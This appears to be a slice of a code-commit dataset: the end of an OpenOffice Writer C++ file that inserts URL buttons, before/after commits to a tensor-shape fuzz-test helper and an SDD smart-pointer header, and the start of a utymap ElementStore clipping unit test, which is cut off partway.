- GNU Lesser General Public License Version 2.1\n * - Sun Industry Standards Source License Version 1.1\n *\n * Sun Microsystems Inc., October, 2000\n *\n * GNU Lesser General Public License Version 2.1\n * =============================================\n * Copyright 2000 by Sun Microsystems, Inc.\n * 901 San Antonio Road, Palo Alto, CA 94303, USA\n *\n * This library is free software; you can redistribute it and\/or\n * modify it under the terms of the GNU Lesser General Public\n * License version 2.1, as published by the Free Software Foundation.\n *\n * This library is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU\n * Lesser General Public License for more details.\n *\n * You should have received a copy of the GNU Lesser General Public\n * License along with this library; if not, write to the Free Software\n * Foundation, Inc., 59 Temple Place, Suite 330, Boston,\n * MA 02111-1307 USA\n *\n *\n * Sun Industry Standards Source License Version 1.1\n * =================================================\n * The contents of this file are subject to the Sun Industry Standards\n * Source License Version 1.1 (the \"License\"); You may not use this file\n * except in compliance with the License. You may obtain a copy of the\n * License at http:\/\/www.openoffice.org\/license.html.\n *\n * Software provided under this License is provided on an \"AS IS\" basis,\n * WITHOUT WARRANTY OF ANY KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING,\n * WITHOUT LIMITATION, WARRANTIES THAT THE SOFTWARE IS FREE OF DEFECTS,\n * MERCHANTABLE, FIT FOR A PARTICULAR PURPOSE, OR NON-INFRINGING.\n * See the License for the specific provisions governing your rights and\n * obligations concerning the Software.\n *\n * The Initial Developer of the Original Code is: Sun Microsystems, Inc.\n *\n * Copyright: 2000 by Sun Microsystems, Inc.\n *\n * All Rights Reserved.\n *\n * Contributor(s): _______________________________________\n *\n *\n ************************************************************************\/\n\n\n#pragma hdrstop\n\n#ifndef _SVDVIEW_HXX \/\/autogen\n#include <svx\/svdview.hxx>\n#endif\n#ifndef _URLOBJ_HXX \/\/autogen\n#include <tools\/urlobj.hxx>\n#endif\n#ifndef _SVX_FMGLOB_HXX\n#include <svx\/fmglob.hxx>\n#endif\n#ifndef _SVDOUNO_HXX \/\/autogen\n#include <svx\/svdouno.hxx>\n#endif\n#ifndef _COM_SUN_STAR_FORM_FORMBUTTONTYPE_HPP_\n#include <com\/sun\/star\/form\/FormButtonType.hpp>\n#endif\n#ifndef _COM_SUN_STAR_BEANS_XPROPERTYSET_HPP_\n#include <com\/sun\/star\/beans\/XPropertySet.hpp>\n#endif\n\n#ifndef _VIEW_HXX\n#include <view.hxx>\n#endif\n#ifndef _WRTSH_HXX\n#include <wrtsh.hxx>\n#endif\n#ifndef _EDTWIN_HXX\n#include <edtwin.hxx>\n#endif\n#ifndef _SWUNDO_HXX\n#include <swundo.hxx>\n#endif\n#ifndef _BASESH_HXX\n#include <basesh.hxx>\n#endif\n\n#ifndef _POOLFMT_HRC\n#include <poolfmt.hrc>\n#endif\n\n#ifndef _SV_SOUND_HXX\n#include <vcl\/sound.hxx>\n#endif\n\n#define C2U(cChar) rtl::OUString::createFromAscii(cChar)\nusing namespace ::com::sun::star;\nusing namespace ::rtl;\n\/*---------------------------------------------------------------------------\n Beschreibung:\n ----------------------------------------------------------------------------*\/\n\nvoid SwBaseShell::InsertURLButton(const String& rURL, const String& rTarget, const String& rTxt)\n{\n SwWrtShell& rSh = GetShell();\n\n if (!rSh.HasDrawView())\n rSh.MakeDrawView();\n SdrView *pSdrView = rSh.GetDrawView();\n\n \/\/ OBJ_FM_BUTTON\n pSdrView->SetDesignMode(TRUE);\n pSdrView->SetCurrentObj(OBJ_FM_BUTTON);\n pSdrView->SetEditMode(sal_False);\n\n Point aStartPos(rSh.GetCharRect().Pos() + Point(0, 1));\n\n rSh.StartAction();\n rSh.StartUndo( UIUNDO_INSERT_URLBTN );\n if (rSh.BeginCreate(OBJ_FM_BUTTON, FmFormInventor, aStartPos))\n {\n pSdrView->SetOrtho(sal_False);\n Size aSz(GetView().GetEditWin().PixelToLogic(Size(140, 20)));\n Point aEndPos(aSz.Width(), aSz.Height());\n\n rSh.MoveCreate(aStartPos + aEndPos);\n rSh.EndCreate(SDRCREATE_FORCEEND);\n\n const SdrMarkList& rMarkList = pSdrView->GetMarkList();\n if (rMarkList.GetMark(0))\n {\n SdrUnoObj* pUnoCtrl = PTR_CAST(SdrUnoObj, rMarkList.GetMark(0)->GetObj());\n uno::Reference< awt::XControlModel > xControlModel = pUnoCtrl->GetUnoControlModel();\n\n ASSERT( xControlModel.is(), \"UNO-Control ohne Model\" );\n if( !xControlModel.is() )\n return;\n\n uno::Reference< beans::XPropertySet > xPropSet(xControlModel, uno::UNO_QUERY);\n\n\n uno::Any aTmp;\n\n aTmp <<= OUString(rTxt);\n xPropSet->setPropertyValue( C2U(\"Label\"), aTmp );\n\n aTmp <<= OUString(INetURLObject::RelToAbs(rURL));\n xPropSet->setPropertyValue( C2U(\"TargetURL\"), aTmp );\n\n if( rTarget.Len() )\n {\n aTmp <<= OUString(rTarget);\n xPropSet->setPropertyValue( C2U(\"TargetFrame\"), aTmp );\n }\n\n\n form::FormButtonType eButtonType = form::FormButtonType_URL;\n aTmp.setValue( &eButtonType, ::getCppuType((const form::FormButtonType*)0));\n xPropSet->setPropertyValue( C2U(\"ButtonType\"), aTmp );\n\n if ( Sound::IsSoundFile( rURL ) )\n {\n \/\/ #105638# OJ\n aTmp <<= sal_True;\n xPropSet->setPropertyValue( rtl::OUString( RTL_CONSTASCII_USTRINGPARAM( \"DispatchURLInternal\" )), aTmp );\n }\n }\n\n if (rSh.IsObjSelected())\n {\n\/\/ rSh.ChgAnchor(FLY_AT_CNTNT);\n rSh.UnSelectFrm();\n }\n }\n rSh.EndUndo( UIUNDO_INSERT_URLBTN );\n rSh.EndAction();\n}\n\n\n<|endoftext|>"} {"text":"<commit_before>\/\/\n\/\/ Created by Mingkai Chen on 2017-03-10.\n\/\/\n\n#include \"util_test.h\"\n#include \"fuzz.h\"\n\n\n#ifdef UTIL_TEST_H\n\n\nbool tensorshape_equal (\n\tconst tensorshape& ts1,\n\tconst tensorshape& ts2)\n{\n\tstd::vector<size_t> vs = ts1.as_list();\n\tstd::vector<size_t> vs2 = ts2.as_list();\n\tif (vs.size() != vs2.size()) return false;\n\treturn std::equal(vs.begin(), vs.end(), vs2.begin());\n}\n\n\nbool tensorshape_equal (\n\tconst tensorshape& ts1,\n\tstd::vector<size_t>& ts2)\n{\n\tstd::vector<size_t> vs = ts1.as_list();\n\tif (vs.size() != ts2.size()) return false;\n\treturn std::equal(vs.begin(), vs.end(), ts2.begin());\n}\n\n\nvoid print (std::vector<double> raw)\n{\n\tfor (double r : raw)\n\t{\n\t\tstd::cout << r << \" \";\n\t}\n\tstd::cout << \"\\n\";\n}\n\ntensorshape make_partial (std::vector<size_t> shapelist)\n{\n\tsize_t nzeros = 1;\n\tif (shapelist.size() > 2)\n\t{\n\t\tnzeros = FUZZ::getInt(1, \"nzeros\", {1, shapelist.size()-1})[0];\n\t}\n\telse if (shapelist.size() == 1)\n\t{\n\t\tshapelist.push_back(0);\n\t\treturn shapelist;\n\t}\n\tstd::vector<size_t> zeros = FUZZ::getInt(nzeros, \"zeros\", {0, shapelist.size()-1});\n\tfor (size_t zidx : zeros)\n\t{\n\t\tshapelist[zidx] = 0;\n\t}\n\treturn tensorshape(shapelist);\n}\n\ntensorshape make_incompatible (std::vector<size_t> shapelist)\n{\n\tfor (size_t i = 0; i < shapelist.size(); i++)\n\t{\n\t\tshapelist[i]++;\n\t}\n\treturn tensorshape(shapelist);\n}\n\n\/\/ make partial full, but incompatible to comp\ntensorshape make_full_incomp (std::vector<size_t> partial, std::vector<size_t> complete)\n{\n\tassert(partial.size() == complete.size());\n\tfor (size_t i = 0, n = partial.size(); i < n; i++)\n\t{\n\t\tif (partial[i] == 0)\n\t\t{\n\t\t\tpartial[i] = complete[i]+1;\n\t\t}\n\t}\n\treturn partial;\n}\n\ntensorshape padd(std::vector<size_t> shapelist, size_t nfront, size_t nback)\n{\n\tstd::vector<size_t> out(nfront, 1);\n\tout.insert(out.end(), shapelist.begin(), shapelist.end());\n\tout.insert(out.end(), nback, 1);\n\treturn tensorshape(out);\n}\n\nstd::vector<std::vector<double> > doubleDArr(std::vector<double> v, std::vector<size_t> dimensions)\n{\n\tassert(dimensions.size() == 2);\n\tsize_t cols = dimensions[0];\n\tsize_t rows = dimensions[1];\n\tstd::vector<std::vector<double> > mat(rows);\n\tauto it = v.begin();\n\tfor (size_t i = 0; i < rows; i++)\n\t{\n\t\tmat[i].insert(mat[i].end(), it, it+cols);\n\t\tit+=cols;\n\t}\n\treturn mat;\n}\n\ntensorshape random_shape (void)\n{\n\tsize_t scalar = FUZZ::getInt(1, \"scalar\", {2, 10})[0];\n\tstd::vector<size_t> shape = FUZZ::getInt(scalar, \"shape\", {0, 21});\n\treturn tensorshape(shape);\n}\n\ntensorshape random_def_shape (int lowerrank, int upperrank, size_t minn, size_t maxn)\n{\n\tsize_t rank;\n\tif (lowerrank == upperrank)\n\t{\n\t\trank = lowerrank;\n\t}\n\telse\n\t{\n\t\trank = FUZZ::getInt(1, \"rank\", {lowerrank, upperrank})[0];\n\t}\n\tsize_t maxvalue = 0;\n\tsize_t minvalue = 0;\n\tfor (size_t i = maxn; maxn > 0; maxn \/= rank)\n\t{\n\t\tmaxvalue++;\n\t}\n\tfor (size_t i = minn; minn > 0; minn \/= rank)\n\t{\n\t\tminvalue++;\n\t}\n\t\/\/ we don't care if minvalue overapproximates\n\n\tsize_t realmaxn = std::pow((double)maxvalue, (double)rank);\n\tsize_t error = realmaxn > maxn ? realmaxn - maxn : maxn - realmaxn;\n\tsize_t ncorrection = 0;\n\tfor (; error > 0; error \/= maxvalue)\n\t{\n\t\tncorrection++;\n\t}\n\n\tstd::vector<size_t> shape = FUZZ::getInt(rank, \"shape\", {minvalue, maxvalue});\n\tfor (size_t i = 0; i < ncorrection && i < rank; i++)\n\t{\n\t\tsize_t shapeidx = rank-i-1;\n\t\tif (shape[shapeidx] > 1)\n\t\t{\n\t\t\tshape[shapeidx]++;\n\t\t}\n\t\telse\n\t\t{\n\t\t\tncorrection++;\n\t\t}\n\t}\n\treturn tensorshape(shape);\n}\n\n\n#endif\n<commit_msg>generated def shape is guaranteed to never exceed 10000 given param<commit_after>\/\/\n\/\/ Created by Mingkai Chen on 2017-03-10.\n\/\/\n\n#include \"util_test.h\"\n#include \"fuzz.h\"\n\n\n#ifdef UTIL_TEST_H\n\n\nbool tensorshape_equal (\n\tconst tensorshape& ts1,\n\tconst tensorshape& ts2)\n{\n\tstd::vector<size_t> vs = ts1.as_list();\n\tstd::vector<size_t> vs2 = ts2.as_list();\n\tif (vs.size() != vs2.size()) return false;\n\treturn std::equal(vs.begin(), vs.end(), vs2.begin());\n}\n\n\nbool tensorshape_equal (\n\tconst tensorshape& ts1,\n\tstd::vector<size_t>& ts2)\n{\n\tstd::vector<size_t> vs = ts1.as_list();\n\tif (vs.size() != ts2.size()) return false;\n\treturn std::equal(vs.begin(), vs.end(), ts2.begin());\n}\n\n\nvoid print (std::vector<double> raw)\n{\n\tfor (double r : raw)\n\t{\n\t\tstd::cout << r << \" \";\n\t}\n\tstd::cout << \"\\n\";\n}\n\ntensorshape make_partial (std::vector<size_t> shapelist)\n{\n\tsize_t nzeros = 1;\n\tif (shapelist.size() > 2)\n\t{\n\t\tnzeros = FUZZ::getInt(1, \"nzeros\", {1, shapelist.size()-1})[0];\n\t}\n\telse if (shapelist.size() == 1)\n\t{\n\t\tshapelist.push_back(0);\n\t\treturn shapelist;\n\t}\n\tstd::vector<size_t> zeros = FUZZ::getInt(nzeros, \"zeros\", {0, shapelist.size()-1});\n\tfor (size_t zidx : zeros)\n\t{\n\t\tshapelist[zidx] = 0;\n\t}\n\treturn tensorshape(shapelist);\n}\n\ntensorshape make_incompatible (std::vector<size_t> shapelist)\n{\n\tfor (size_t i = 0; i < shapelist.size(); i++)\n\t{\n\t\tshapelist[i]++;\n\t}\n\treturn tensorshape(shapelist);\n}\n\n\/\/ make partial full, but incompatible to comp\ntensorshape make_full_incomp (std::vector<size_t> partial, std::vector<size_t> complete)\n{\n\tassert(partial.size() == complete.size());\n\tfor (size_t i = 0, n = partial.size(); i < n; i++)\n\t{\n\t\tif (partial[i] == 0)\n\t\t{\n\t\t\tpartial[i] = complete[i]+1;\n\t\t}\n\t}\n\treturn partial;\n}\n\ntensorshape padd(std::vector<size_t> shapelist, size_t nfront, size_t nback)\n{\n\tstd::vector<size_t> out(nfront, 1);\n\tout.insert(out.end(), shapelist.begin(), shapelist.end());\n\tout.insert(out.end(), nback, 1);\n\treturn tensorshape(out);\n}\n\nstd::vector<std::vector<double> > doubleDArr(std::vector<double> v, std::vector<size_t> dimensions)\n{\n\tassert(dimensions.size() == 2);\n\tsize_t cols = dimensions[0];\n\tsize_t rows = dimensions[1];\n\tstd::vector<std::vector<double> > mat(rows);\n\tauto it = v.begin();\n\tfor (size_t i = 0; i < rows; i++)\n\t{\n\t\tmat[i].insert(mat[i].end(), it, it+cols);\n\t\tit+=cols;\n\t}\n\treturn mat;\n}\n\ntensorshape random_shape (void)\n{\n\tsize_t scalar = FUZZ::getInt(1, \"scalar\", {2, 10})[0];\n\tstd::vector<size_t> shape = FUZZ::getInt(scalar, \"shape\", {0, 21});\n\treturn tensorshape(shape);\n}\n\ntensorshape random_def_shape (int lowerrank, int upperrank, size_t minn, size_t maxn)\n{\n\tsize_t rank = lowerrank;\n\tif (lowerrank != upperrank)\n\t{\n\t\trank = FUZZ::getInt(1, \"rank\", {lowerrank, upperrank})[0];\n\t}\n\tassert(rank > 0);\n\tif (rank < 2)\n\t{\n\t\treturn FUZZ::getInt(1, \"shape\", {minn, maxn});\n\t}\n\t\/\/ invariant: rank > 1\n\tsize_t maxvalue = 0;\n\tsize_t minvalue = 0;\n\tsize_t lowercut = 0;\n\tif (rank > 5) lowercut = 1;\n\tfor (size_t i = maxn; i > lowercut; i \/= rank)\n\t{\n\t\tmaxvalue++;\n\t}\n\tfor (size_t i = minn; i > lowercut; i \/= rank)\n\t{\n\t\tminvalue++;\n\t}\n\n\t\/\/ we don't care if minvalue overapproximates\n\tsize_t ncorrection = 0;\n\tsize_t realmaxn = std::pow((double)maxvalue, (double)rank);\n\tif (realmaxn > maxn)\n\t{\n\t\tsize_t error = realmaxn - maxn;\n\t\tfor (; error > 0; error \/= maxvalue)\n\t\t{\n\t\t\tncorrection++;\n\t\t}\n\t}\n\n\tstd::vector<size_t> shape;\n\tif (ncorrection == rank)\n\t{\n\t\tfor (size_t i = 0; i < rank; i++)\n\t\t{\n\t\t\tstd::stringstream ss;\n\t\t\tss << \"shape i=\" << i;\n\t\t\tsize_t shapei = maxvalue;\n\t\t\tif (minvalue != maxvalue)\n\t\t\t{\n\t\t\t\tshapei = FUZZ::getInt(1, ss.str(), {minvalue, maxvalue})[0];\n\t\t\t}\n\t\t\tshape.push_back(shapei);\n\t\t\tmaxn \/= shapei;\n\t\t\tif (maxn < maxvalue)\n\t\t\t{\n\t\t\t\tbreak; \/\/ stop early\n\t\t\t}\n\t\t}\n\t}\n\telse\n\t{\n\t\tstd::vector<size_t> shape2;\n\t\tif (rank-ncorrection)\n\t\t{\n\t\t\tshape = FUZZ::getInt(rank-ncorrection, \"shapepart1\", {minvalue, maxvalue});\n\t\t}\n\t\tif (ncorrection)\n\t\t{\n\t\t\tshape2 = FUZZ::getInt(ncorrection, \"shapepart2\", {minvalue, maxvalue-1});\n\t\t}\n\t\tshape.insert(shape.end(), shape2.begin(), shape2.end());\n\t}\n\ttensorshape outshape(shape);\n\tif (outshape.n_elems() > 10000)\n\t{\n\t\t\/\/ warn\n\t}\n\treturn outshape;\n}\n\n\n#endif\n<|endoftext|>"} {"text":"<commit_before>#ifndef _SDD_MEM_PTR_HH_\n#define _SDD_MEM_PTR_HH_\n\n#include <cassert>\n#include <functional> \/\/ hash, function\n#include <type_traits> \/\/ remove_const\n\n#include \"sdd\/mem\/unique_table.hh\"\n\nnamespace sdd { namespace mem {\n\n\/*------------------------------------------------------------------------------------------------*\/\n\n\/\/\/ @internal\n\/\/\/ @brief Define the type of a deletion handler.\n\/\/\/\n\/\/\/ A deletion handler is called by ptr whenever a data is no longer referenced.\ntemplate <typename Unique>\nusing handler_type = std::function<void (const Unique&)>;\n\n\/\/\/ @internal\n\/\/\/ @brief Get the deletion handler for a given Unique type.\ntemplate <typename Unique>\nhandler_type<Unique>&\ndeletion_handler()\n{\n static handler_type<Unique> handler = [](const Unique&){assert(false && \"Unset handler\");};\n return handler;\n}\n\n\/\/\/ @internal\n\/\/\/ @brief Get the deletion handler for a given Unique type.\ntemplate <typename Unique>\nvoid\nreset_deletion_handler()\n{\n deletion_handler<Unique>() = [](const Unique&){assert(false && \"Reset handler\");};\n}\n\n\n\/\/\/ @internal\n\/\/\/ @brief Set the deletion handler for a given Unique type.\ntemplate <typename Unique>\nvoid\nset_deletion_handler(const handler_type<Unique>& h)\n{\n deletion_handler<Unique>() = h;\n}\n\n\/*------------------------------------------------------------------------------------------------*\/\n\n\/\/\/ @internal\n\/\/\/ @brief A smart pointer to manage unified ressources.\n\/\/\/ @tparam Unique the type of the unified ressource.\n\/\/\/\n\/\/\/ Unified ressources are ref_counted elements constructed with an unique_table.\ntemplate <typename Unique>\nclass ptr\n{\n \/\/ Can't default construct a ptr.\n ptr() = delete;\n\nprivate:\n\n \/\/\/ @brief Pointer to the managed ressource, a unified data.\n const Unique* x_;\n\npublic:\n\n \/\/\/ @brief Constructor with a unified data.\n explicit\n ptr(const Unique& p)\n noexcept\n \t: x_(&p)\n {\n x_->increment_reference_counter();\n }\n\n \/\/\/ @brief Copy constructor.\n ptr(const ptr& other)\n noexcept\n : x_(other.x_)\n {\n x_->increment_reference_counter();\n }\n\n \/\/\/ @brief Copy operator.\n ptr&\n operator=(const ptr& other)\n noexcept\n {\n other.x_->increment_reference_counter();\n x_->decrement_reference_counter();\n erase_if_necessary(x_);\n x_ = other.x_;\n return *this;\n }\n\n \/\/\/ @brief Destructor.\n ~ptr()\n {\n x_->decrement_reference_counter();\n erase_if_necessary(x_);\n }\n\n \/\/\/ @brief Get a reference to the unified data.\n const Unique&\n operator*()\n const noexcept\n {\n return *x_;\n }\n\n \/\/\/ @brief Get a pointer to the unified data.\n const Unique*\n operator->()\n const noexcept\n {\n return x_;\n }\n\n \/\/\/ @brief Swap.\n friend void\n swap(ptr& lhs, ptr& rhs)\n noexcept\n {\n using std::swap;\n swap(lhs.x_, rhs.x_);\n }\n\nprivate:\n\n \/\/\/ @brief If the managed data is no longer referenced, erase it.\n static\n void\n erase_if_necessary(const Unique* x)\n noexcept\n {\n static void* table[2] = {&&noop, &&erase};\n goto *table[x->is_not_referenced()];\n erase: deletion_handler<Unique>()(*x);\n noop:;\n }\n};\n\n\/*------------------------------------------------------------------------------------------------*\/\n\n\/\/\/ @internal\n\/\/\/ @related ptr\n\/\/\/\n\/\/\/ O(1).\ntemplate <typename Unique>\ninline\nbool\noperator==(const ptr<Unique>& lhs, const ptr<Unique>& rhs)\nnoexcept\n{\n return lhs.operator->() == rhs.operator->();\n}\n\n\/\/\/ @internal\n\/\/\/ @related ptr\n\/\/\/\n\/\/\/ O(1).\ntemplate <typename Unique>\ninline\nbool\noperator<(const ptr<Unique>& lhs, const ptr<Unique>& rhs)\nnoexcept\n{\n return lhs.operator->() < rhs.operator->();\n}\n\n\/*------------------------------------------------------------------------------------------------*\/\n\n}} \/\/ namespace sdd::mem\n\nnamespace std {\n\n\/*------------------------------------------------------------------------------------------------*\/\n\n\/\/\/ @internal\n\/\/\/ @brief Hash specialization for sdd::mem::ptr\ntemplate <typename Unique>\nstruct hash<sdd::mem::ptr<Unique>>\n{\n std::size_t\n operator()(const sdd::mem::ptr<Unique>& x)\n const noexcept\n {\n return std::hash<decltype(x.operator->())>()(x.operator->());\n }\n};\n\n\/*------------------------------------------------------------------------------------------------*\/\n\n} \/\/ namespace std\n\n#endif \/\/ _SDD_MEM_PTR_HH_\n<commit_msg>Documentation.<commit_after>#ifndef _SDD_MEM_PTR_HH_\n#define _SDD_MEM_PTR_HH_\n\n#include <cassert>\n#include <functional> \/\/ hash, function\n#include <type_traits> \/\/ remove_const\n\n#include \"sdd\/mem\/unique_table.hh\"\n\nnamespace sdd { namespace mem {\n\n\/*------------------------------------------------------------------------------------------------*\/\n\n\/\/\/ @internal\n\/\/\/ @brief Define the type of a deletion handler.\n\/\/\/\n\/\/\/ A deletion handler is called by ptr whenever a data is no longer referenced.\ntemplate <typename Unique>\nusing handler_type = std::function<void (const Unique&)>;\n\n\/\/\/ @internal\n\/\/\/ @brief Get the deletion handler for a given Unique type.\ntemplate <typename Unique>\nhandler_type<Unique>&\ndeletion_handler()\n{\n static handler_type<Unique> handler = [](const Unique&){assert(false && \"Unset handler\");};\n return handler;\n}\n\n\/\/\/ @internal\n\/\/\/ @brief Reset the deletion handler for a given Unique type.\ntemplate <typename Unique>\nvoid\nreset_deletion_handler()\n{\n deletion_handler<Unique>() = [](const Unique&){assert(false && \"Reset handler\");};\n}\n\n\n\/\/\/ @internal\n\/\/\/ @brief Set the deletion handler for a given Unique type.\ntemplate <typename Unique>\nvoid\nset_deletion_handler(const handler_type<Unique>& h)\n{\n deletion_handler<Unique>() = h;\n}\n\n\/*------------------------------------------------------------------------------------------------*\/\n\n\/\/\/ @internal\n\/\/\/ @brief A smart pointer to manage unified ressources.\n\/\/\/ @tparam Unique the type of the unified ressource.\n\/\/\/\n\/\/\/ Unified ressources are ref_counted elements constructed with an unique_table.\ntemplate <typename Unique>\nclass ptr\n{\n \/\/ Can't default construct a ptr.\n ptr() = delete;\n\nprivate:\n\n \/\/\/ @brief Pointer to the managed ressource, a unified data.\n const Unique* x_;\n\npublic:\n\n \/\/\/ @brief Constructor with a unified data.\n explicit\n ptr(const Unique& p)\n noexcept\n \t: x_(&p)\n {\n x_->increment_reference_counter();\n }\n\n \/\/\/ @brief Copy constructor.\n ptr(const ptr& other)\n noexcept\n : x_(other.x_)\n {\n x_->increment_reference_counter();\n }\n\n \/\/\/ @brief Copy operator.\n ptr&\n operator=(const ptr& other)\n noexcept\n {\n other.x_->increment_reference_counter();\n x_->decrement_reference_counter();\n erase_if_necessary(x_);\n x_ = other.x_;\n return *this;\n }\n\n \/\/\/ @brief Destructor.\n ~ptr()\n {\n x_->decrement_reference_counter();\n erase_if_necessary(x_);\n }\n\n \/\/\/ @brief Get a reference to the unified data.\n const Unique&\n operator*()\n const noexcept\n {\n return *x_;\n }\n\n \/\/\/ @brief Get a pointer to the unified data.\n const Unique*\n operator->()\n const noexcept\n {\n return x_;\n }\n\n \/\/\/ @brief Swap.\n friend void\n swap(ptr& lhs, ptr& rhs)\n noexcept\n {\n using std::swap;\n swap(lhs.x_, rhs.x_);\n }\n\nprivate:\n\n \/\/\/ @brief If the managed data is no longer referenced, erase it.\n static\n void\n erase_if_necessary(const Unique* x)\n noexcept\n {\n static void* table[2] = {&&noop, &&erase};\n goto *table[x->is_not_referenced()];\n erase: deletion_handler<Unique>()(*x);\n noop:;\n }\n};\n\n\/*------------------------------------------------------------------------------------------------*\/\n\n\/\/\/ @internal\n\/\/\/ @related ptr\n\/\/\/\n\/\/\/ O(1).\ntemplate <typename Unique>\ninline\nbool\noperator==(const ptr<Unique>& lhs, const ptr<Unique>& rhs)\nnoexcept\n{\n return lhs.operator->() == rhs.operator->();\n}\n\n\/\/\/ @internal\n\/\/\/ @related ptr\n\/\/\/\n\/\/\/ O(1).\ntemplate <typename Unique>\ninline\nbool\noperator<(const ptr<Unique>& lhs, const ptr<Unique>& rhs)\nnoexcept\n{\n return lhs.operator->() < rhs.operator->();\n}\n\n\/*------------------------------------------------------------------------------------------------*\/\n\n}} \/\/ namespace sdd::mem\n\nnamespace std {\n\n\/*------------------------------------------------------------------------------------------------*\/\n\n\/\/\/ @internal\n\/\/\/ @brief Hash specialization for sdd::mem::ptr\ntemplate <typename Unique>\nstruct hash<sdd::mem::ptr<Unique>>\n{\n std::size_t\n operator()(const sdd::mem::ptr<Unique>& x)\n const noexcept\n {\n return std::hash<decltype(x.operator->())>()(x.operator->());\n }\n};\n\n\/*------------------------------------------------------------------------------------------------*\/\n\n} \/\/ namespace std\n\n#endif \/\/ _SDD_MEM_PTR_HH_\n<|endoftext|>"} {"text":"<commit_before>#include \"GeoCoordinate.hpp\"\n#include \"entities\/Element.hpp\"\n#include \"entities\/Node.hpp\"\n#include \"entities\/Way.hpp\"\n#include \"entities\/Area.hpp\"\n#include \"entities\/Relation.hpp\"\n#include \"index\/ElementStore.hpp\"\n#include \"mapcss\/StyleProvider.hpp\"\n#include \"test_utils\/ElementUtils.hpp\"\n#include \"test_utils\/MapCssUtils.hpp\"\n\n#include <boost\/test\/unit_test.hpp>\n\n#include <functional>\n#include <initializer_list>\n#include <utility>\n\nusing namespace utymap::entities;\nusing namespace utymap::index;\nusing namespace utymap::mapcss;\n\ntypedef std::function<void(const Element&, const utymap::QuadKey&)> StoreCallback;\n\nclass TestElementStore : public ElementStore\n{\npublic:\n\n int times;\n\n TestElementStore(const StyleProvider& styleProvider, StringTable& stringTable, StoreCallback function) :\n ElementStore(styleProvider, stringTable),\n function_(function),\n times(0)\n {\n }\n\nprotected:\n void storeImpl(const Element& element, const utymap::QuadKey& quadKey)\n {\n times++;\n function_(element, quadKey);\n }\nprivate:\n StoreCallback function_;\n};\n\nstruct Index_ElementStoreFixture\n{\n Index_ElementStoreFixture() :\n stringTablePtr(new StringTable(\"\")),\n styleProviderPtr(nullptr),\n elementStorePtr()\n {\n BOOST_TEST_MESSAGE(\"setup fixture\");\n }\n\n ~Index_ElementStoreFixture()\n {\n BOOST_TEST_MESSAGE(\"teardown fixture\");\n BOOST_TEST_CHECK(elementStorePtr->times > 0);\n delete elementStorePtr;\n delete styleProviderPtr;\n delete stringTablePtr;\n std::remove(\"string.idx\");\n std::remove(\"string.dat\");\n }\n\n void createElementStore(std::string stylesheet, const StoreCallback callback)\n {\n styleProviderPtr = MapCssUtils::createStyleProviderFromString(*stringTablePtr, stylesheet);\n elementStorePtr = new TestElementStore(*styleProviderPtr, *stringTablePtr, callback);\n }\n\n StringTable* stringTablePtr;\n StyleProvider* styleProviderPtr;\n TestElementStore* elementStorePtr;\n};\n\nbool checkQuadKey(const utymap::QuadKey& quadKey, int lod, int tileX, int tileY) \n{\n return quadKey.levelOfDetail == lod && \n quadKey.tileX == tileX && \n quadKey.tileY == tileY;\n}\n\ntemplate<typename T>\nvoid checkGeometry(const T& t, std::initializer_list<std::pair<double, double>> geometry)\n{\n BOOST_CHECK_EQUAL(t.coordinates.size(), geometry.size());\n int i = 0;\n for (const auto& pair : geometry) {\n BOOST_CHECK_EQUAL(pair.first, t.coordinates[i].latitude);\n BOOST_CHECK_EQUAL(pair.second, t.coordinates[i].longitude);\n i++;\n }\n}\n\nBOOST_FIXTURE_TEST_SUITE(Index_ElementStore, Index_ElementStoreFixture)\n\nBOOST_AUTO_TEST_CASE(GivenWayIntersectsTwoTilesOnce_WhenStore_GeometryIsClipped)\n{\n Way way = ElementUtils::createElement<Way>(*stringTablePtr,\n { { \"test\", \"Foo\" } },\n { { 10, 10 }, { 10, -10 }});\n createElementStore(\"way|z1[test=Foo] { key:val; clip: true;}\",\n [&](const Element& element, const utymap::QuadKey& quadKey) {\n if (checkQuadKey(quadKey, 1, 0, 0)) {\n checkGeometry<Way>(reinterpret_cast<const Way&>(element), { { 10, -10 }, { 10, 0 } });\n }\n else if (checkQuadKey(quadKey, 1, 1, 0)) {\n checkGeometry<Way>(reinterpret_cast<const Way&>(element), { { 10, 0 }, { 10, 10 } });\n }\n else {\n BOOST_TEST_FAIL(\"Unexpected quadKey!\");\n }\n });\n\n elementStorePtr->store(way, LodRange(1,1));\n\n BOOST_CHECK_EQUAL(elementStorePtr->times, 2);\n}\n\nBOOST_AUTO_TEST_CASE(GivenWayIntersectsTwoTilesTwice_WhenStore_GeometryIsClipped)\n{\n Way way = ElementUtils::createElement<Way>(*stringTablePtr,\n { { \"test\", \"Foo\" } },\n { { 10, 10 }, { 10, -10 }, { 20, -10 }, {20, 10} });\n createElementStore(\"way|z1[test=Foo] { key:val; clip: true;}\",\n [&](const Element& element, const utymap::QuadKey& quadKey) {\n if (checkQuadKey(quadKey, 1, 0, 0)) {\n checkGeometry<Way>(reinterpret_cast<const Way&>(element), { { 20, 0 }, { 20, -10 }, { 10, -10 }, {10, 0} });\n }\n else if (checkQuadKey(quadKey, 1, 1, 0)) {\n const Relation& relation = reinterpret_cast<const Relation&>(element);\n BOOST_CHECK_EQUAL(relation.elements.size(), 2);\n checkGeometry<Way>(reinterpret_cast<const Way&>(*relation.elements[0]), { { 20, 10 }, { 20, 0 } });\n checkGeometry<Way>(reinterpret_cast<const Way&>(*relation.elements[1]), { { 10, 0 }, { 10, 10 } });\n }\n else {\n BOOST_TEST_FAIL(\"Unexpected quadKey!\");\n }\n });\n\n elementStorePtr->store(way, LodRange(1, 1));\n\n BOOST_CHECK_EQUAL(elementStorePtr->times, 2);\n}\n\nBOOST_AUTO_TEST_CASE(GivenAreaIntersectsTwoTilesOnce_WhenStore_GeometryIsClipped)\n{\n Area way = ElementUtils::createElement<Area>(*stringTablePtr,\n { { \"test\", \"Foo\" } },\n { { 10, 10 }, { 20, 10 }, { 20, -10 }, { 10, -10 } });\n createElementStore(\"area|z1[test=Foo] { key:val; clip: true;}\",\n [&](const Element& element, const utymap::QuadKey& quadKey) {\n if (checkQuadKey(quadKey, 1, 0, 0)) {\n checkGeometry<Area>(reinterpret_cast<const Area&>(element), { { 20, 0 }, { 20, -10 }, {10, -10}, {10, 0} });\n }\n else if (checkQuadKey(quadKey, 1, 1, 0)) {\n 